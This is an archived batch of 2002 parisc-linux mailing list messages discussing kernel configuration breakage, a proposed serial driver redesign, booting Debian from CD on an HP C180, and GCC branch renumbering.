Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust123.bre.cable.ntl.com [213.107.179.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EE6F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Jul 2002 05:31:47 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 595B09E846; Mon, 29 Jul 2002 11:28:28 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <3D44F776.6090309@itp.bg>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15676

On Mon, Jul 29, 2002 at 11:06:14AM +0300, Stephan Trajkoff wrote:
> Hello, it is my config from pa54
> I tried this on pa59 and again kernel don't want to compile
> Please help me

Switch off CONFIG_FBCON_ADVANCED.

drivers/video/Config.in is broken, it only does

  if [ "$CONFIG_FB_STI" = "y" ]; then
    define_tristate CONFIG_FBCON_STI y
  fi

if CONFIG_FBCON_ADVANCED != y

Richard



From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 3 Serial issues up for discussion (was: Re: Serial core problems on embedded PPC)
Date: Mon, 29 Jul 2002 18:17:02 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <20020729181702.E25451__23594.886964611$1416621576$gmane$org@flint.arm.linux.org.uk>
References: <20020729040824.GA2351@zax> <20020729100009.A23843@flint.arm.linux.org.uk> <20020729144408.GA11206@opus.bloom.county>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621576 11828 80.91.229.3 (22 Nov 2014 01:59:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:36 +0000 (UTC)
To: linux-kernel@vger.kernel.org, linuxppc-dev@lists.linuxppc.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 29 11:19:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18A69482A
	for <parisc-linux@parisc-linux.org>; Mon, 29 Jul 2002 11:19:28 -0600 (MDT)
Original-Received: from flint.arm.linux.org.uk ([3ffe:8260:2002:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.04)
	id 17ZEB3-00042I-00
	for parisc-linux@parisc-linux.org; Mon, 29 Jul 2002 18:19:25 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.04)
	id 17ZEB2-0007la-00
	for parisc-linux@parisc-linux.org; Mon, 29 Jul 2002 18:19:24 +0100
Original-Received: from caramon.arm.linux.org.uk ([3ffe:8260:2002:1:a00:2bff:fe95:1d7b])
	by flint.arm.linux.org.uk with asmtp (Exim 4.04)
	id 17ZEAA-0007lS-00
	for rmk+lkml@arm.linux.org.uk; Mon, 29 Jul 2002 18:18:30 +0100
Original-Received: from parcelfarce.linux.theplanet.co.uk ([195.92.249.252] helo=www.linux.org.uk)
	by caramon.arm.linux.org.uk with esmtp (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.04)
	id 17ZEA9-000423-00
	for rmk+lkml@arm.linux.org.uk; Mon, 29 Jul 2002 18:18:29 +0100
Original-Received: from [212.18.232.186] (helo=caramon.arm.linux.org.uk)
	by www.linux.org.uk with esmtp (Exim 3.33 #5)
	id 17ZEA7-0007UT-00
	for rmk@lists.arm.linux.org.uk; Mon, 29 Jul 2002 18:18:27 +0100
Original-Received: from vger.kernel.org ([209.116.70.75])
	by caramon.arm.linux.org.uk with esmtp (Exim 4.04)
	id 17ZEA5-000420-00
	for rmk@lists.arm.linux.org.uk; Mon, 29 Jul 2002 18:18:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id <S317525AbSG2RNo>; Mon, 29 Jul 2002 13:13:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org
	id <S317531AbSG2RNo>; Mon, 29 Jul 2002 13:13:44 -0400
Original-Received: from caramon.arm.linux.org.uk ([212.18.232.186]:8712 "EHLO
	caramon.arm.linux.org.uk") by vger.kernel.org with ESMTP
	id <S317525AbSG2RNn>; Mon, 29 Jul 2002 13:13:43 -0400
Original-Received: from flint.arm.linux.org.uk ([3ffe:8260:2002:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.04)
	id 17ZE8l-00041k-00; Mon, 29 Jul 2002 18:17:03 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.04)
	id 17ZE8k-0007lN-00; Mon, 29 Jul 2002 18:17:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020729144408.GA11206@opus.bloom.county>; from trini@kernel.crashing.org on Mon, Jul 29, 2002 at 07:44:08AM -0700
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
Resent-From: rmk@arm.linux.org.uk
Resent-Date: Mon, 29 Jul 2002 18:19:24 +0100
Resent-To: parisc-linux@parisc-linux.org
Resent-Message-Id: <E17ZEB2-0007la-00@flint.arm.linux.org.uk>
Resent-Sender: Russell King <rmk@arm.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15677

On Mon, Jul 29, 2002 at 07:44:08AM -0700, Tom Rini wrote:
> On Mon, Jul 29, 2002 at 10:00:10AM +0100, Russell King wrote:
> > Unless ppc and others are willing to put up with major breakage when I
> > change asm/serial.h, I don't see this getting cleaned up.  Comments on
> > this area welcome.
> 
> Well, what changes do you have in mind?

Firstly, apologies to Tom for turning this into a general discussion
mail.  At the request of Tom, this message is also CC:'d to the PPC
devel lists.

There's quite a lot in here, so please, when replying edit out stuff
your not replying to.  Thanks.


1. Serial port initialisation
-----------------------------

Firstly, one thing to bear in mind here is that, as Alan says "be nice
to make sure it was much earlier".  I guess Alan's right, so we can get
oopsen out of the the kernel relatively easily, even when we're using
framebuffer consoles.

I'm sure Alan will enlighten us with his specific reasons if required.

There have been several suggestions around on how to fix this table:

a. architectures provide a sub-module to 8250.c which contains the
   per-port details, rather than a table in serial.h.  This would
   ideally mean removing serial.h completely.  The relevant object
   would be linked into 8250.c when 8250.c is built as a module.

b. we create 8250_hub6.c, 8250_generic.c, 8250_multiport.c and friends
   each containing the parameters for the specific cards and handle it
   as above.

c. make it the responsibility of user space to tell the kernel about
   many serial ports, and leave just the ones necessary for serial
   console in the kernel.  (see issue 2 below)

d. we keep serial.h, make it 8250-compatible ports only, and change
   CONFIG_SERIAL_MULTIPORT and friends to CONFIG_SERIAL_8250_MULTIPORT
   This is the simplest and least likely to break other code.  On the
   other hand, we end up hauling the ISA table and struct old_serial_port
   into 2.6.


2. setserial API
----------------

This is actually tied closely into another issue; I'd like to get rid
of this silly idea where we're able to open serial ports that don't
exist (ie, their UART is "unknown").  This behaviour appears to be for
the benefit of setserial to allow it to modify port base addresses and
interrupt levels, etc.  Removing this facility would require a new API
for such things.  The best suggestion made so far is to do something
like:

# echo "add 0x2e8,3,autoconfig" >/dev/serialctl
# echo "remove 0x2e8" >/dev/serialctl

(or s,/dev/serialctl,/proc/tty/driver/serial, which pre-exists)

where we have "add ioport,irq,flags" and "remove ioport" (note that
mmio ports aren't covered here since they require ioremap games which
tends to be card specific!)

Why make this change?  Well, we have quite a lot of baggage being
dragged around to support configuration of an open port and being
able to open a non-existent port.  I'd really like to get rid of
this excess baggage.


3. /dev/ttyS*, /dev/ttySA*, /dev/ttyCL*, /dev/ttyAM*, etc
---------------------------------------------------------

All the above are serial ports of various types.  It has been expressed
several times that people would like to see all of them appear as
/dev/ttyS* (indeed, there was an, erm, rather heated discussion about
it a couple of years ago.)  I'm going to be neutral on this point
here.

There are several issues surrounding this:

a. The serial core.c is very almost capable of handling this abstraction,
   with one exception - a registered port can only be in one group at
   one time.  This restriction is brought about because of the way the
   tty layer handles its tty ports.

   (Handling dual registrations in two different majors gets _really_
    messy - eg, you two built-in 16550A ports and two SA1100 ports
    taking up ttyS0 to ttyS3.  You then add a 16550A PCMCIA modem,
    which becomes ttyS4.  Oh, and the SA1100 ports are also appearing
    as ttySA0 and ttySA1.  _really_ messy.  No thanks.)

b. serial consoles.  Each hardware driver handles its serial consoles
   by itself, and if you have two or more hardware drivers built in
   with serial console support, you need to be able to tell them apart
   with the console= kernel parameter.

   Again, this could be solvable if we have one "ttyS" view of everything
   (core.c would then be responsible for registering the console with
    printk.c and passing the various methods off to the relevant
    hardware).

c. People with many serial ports.  We _could_ change the device number
   allocations such that ttyS gobbles up the ttySA, ttyCL, ttyAM, etc
   device numbers so we end up with the same number of port slots
   available for those with many many serial ports in their machines.



-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html

From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC Linux machines?
Date: Mon, 29 Jul 2002 12:06:12 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020729180612.2FA58482A@dsl2.external.hp.com>
References: <20020721150611.GA16503@maddentechnologies.com> <3D3AE9AE.189C701E@ruhr-west.de>  <20020726132900.L897@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621577 11831 80.91.229.3 (22 Nov 2014 01:59:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 29 12:06:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FA58482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Jul 2002 12:06:12 -0600 (MDT)
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Fri, 26 Jul 2002 13:29:03 +0800." <20020726132900.L897@neep.com.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15678

Andrew Shugg wrote:
> Thanks Juergen, I wasn't aware of this site's existence.  I don't think
> there's a link to it on the parisc-linux.org web site; is this something
> we could do?  Under the "User Resources" section of the sidebar would be
> a suitable place, I imagine.

I agree.  As noted, it's under "Techinical Documentation".
I'd like to see this link "promoted" to the navigation bar or
something more obvious on the navigation bar.

I'll be working on that in the next week or so.

grant


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Mon, 29 Jul 2002 19:00:30 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20020730020030.40187.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621577 11834 80.91.229.3 (22 Nov 2014 01:59:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 29 20:00:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 311AA482A
	for <parisc-linux@parisc-linux.org>; Mon, 29 Jul 2002 20:00:31 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12502.mail.yahoo.com via HTTP; Mon, 29 Jul 2002 19:00:30 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15679

Hey all,

This is going to sound like a really stupid question, but here goes. 
I'm a UNIX hardware guy and don't do too much with the software
portion.  I am well versed in the HP boot admin level of the box and
troubleshoot HP hardware.  I have dowloaded the Debian
palinux-0.9.3.iso.gz from http://ftp.parisc-linux.org/cd-images/ to my
Win2k PC at home with CD burner.  Here comes the stupid part....how the
hell do I burn it to the CD and get it to boot on my C180?  Looking for
as much detail as possible since I am VERY new to this.  Thanks.

P.S. I know my C180 is fully functional since I used the current
DVD-ROM on it to load HP-UX 11i and it runs that well.

Derek

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Mon, 29 Jul 2002 20:10:40 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20020730021040.99A7737E97@carmen.fc.hp.com>
References: <20020730020030.40187.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621577 11837 80.91.229.3 (22 Nov 2014 01:59:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 29 20:10:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6960B482A
	for <parisc-linux@parisc-linux.org>; Mon, 29 Jul 2002 20:10:46 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel8.hp.com (Postfix) with ESMTP
	id E6DC6A00D43; Mon, 29 Jul 2002 22:10:45 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 8282437E5E; Mon, 29 Jul 2002 20:10:45 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 088EA4053; Mon, 29 Jul 2002 20:10:43 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 99A7737E97; Mon, 29 Jul 2002 20:10:40 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from Derek Engelhaupt <derekengelhaupt@rocketmail.com> 
   of "Mon, 29 Jul 2002 19:00:30 PDT." <20020730020030.40187.qmail@web12502.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15680

Derek Engelhaupt writes...

> I have dowloaded the Debian
> palinux-0.9.3.iso.gz from http://ftp.parisc-linux.org/cd-images/ to my
> Win2k PC at home with CD burner.  Here comes the stupid part....how the
> hell do I burn it to the CD and get it to boot on my C180?  Looking for
> as much detail as possible since I am VERY new to this.  Thanks.

 - gunzip the image
 - run md5sum and compare the result with the published value to make sure
    the image is ok
 - use your cd burner to burn the "raw" image. You may need to play with the
    options to get it right. You're trying to get the software to just burn
    the image *as is* without messing with it. Some software tries to be 
smart
    and "help" you by messing with the filesystem or the bootable frontend
    part. You don't want that so turn it off.
 - Load the burned cd in the c180
 - From firmware "sea"rch for bootable devices. If you burned the cd right
    it should show up.
 - boot from the cd, install debian, have a nice $BEVERAGE


-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC CVS strange update?
Date: Tue, 30 Jul 2002 08:27:39 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <3D38181A000003D9@ocpmta6.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621578 11839 80.91.229.3 (22 Nov 2014 01:59:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 00:25:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA196482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 00:25:25 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 30 Jul 2002 08:27:39 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15681

Hi all,

Yesterday morning I do a cvs update of what I believe till last week being
gcc-3.1
(CVS/Tag == Tgcc-3-1-branch) but gcc/gcc/version.c shows me now 3.2 (well
the current development CVS being now 3.3)?

What do I wrong? (would I have to define the branch parameter each time I
do an update?)

Thanks in advance for advise,
    Joel



From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC CVS strange update?
Date: Tue, 30 Jul 2002 07:30:09 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020730073009.N1441@parcelfarce.linux.theplanet.co.uk>
References: <3D38181A000003D9@ocpmta6.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621578 11841 80.91.229.3 (22 Nov 2014 01:59:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 00:30:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF652482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 00:30:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17ZQWH-0004x8-00; Tue, 30 Jul 2002 07:30:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D38181A000003D9@ocpmta6.be.tiscali.com>; from jsoe0708@tiscali.be on Tue, Jul 30, 2002 at 08:27:39AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15682

On Tue, Jul 30, 2002 at 08:27:39AM +0200, jsoe0708@tiscali.be wrote:
> Yesterday morning I do a cvs update of what I believe till last week being
> gcc-3.1
> (CVS/Tag == Tgcc-3-1-branch) but gcc/gcc/version.c shows me now 3.2 (well
> the current development CVS being now 3.3)?

ah, you haven't been following the gcc mailing list.  due to a pressing
need to change the c++ ABI, the current 3.1 development tree has been
renamed to 3.2 and the erstwhile 3.2 development line has been renamed
to 3.3.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Tue, 30 Jul 2002 14:28:59 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20020730122859.GA14721@marmite.its.uct.ac.za>
References: <20020730020030.40187.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621578 11843 80.91.229.3 (22 Nov 2014 01:59:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 06:29:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE736482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 06:29:11 -0600 (MDT)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 17ZW7O-000BQi-00
	for parisc-linux@parisc-linux.org; Tue, 30 Jul 2002 14:28:50 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id D12F61A340; Tue, 30 Jul 2002 14:28:59 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020730020030.40187.qmail@web12502.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15683

On Mon, Jul 29, 2002 at 07:00:30PM -0700, Derek Engelhaupt wrote:
[snip]
> troubleshoot HP hardware.  I have dowloaded the Debian
> palinux-0.9.3.iso.gz from http://ftp.parisc-linux.org/cd-images/ to my
[snip]

Should people still be using 0.9.3 or should they rather use Debian 3.0
CDs?

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
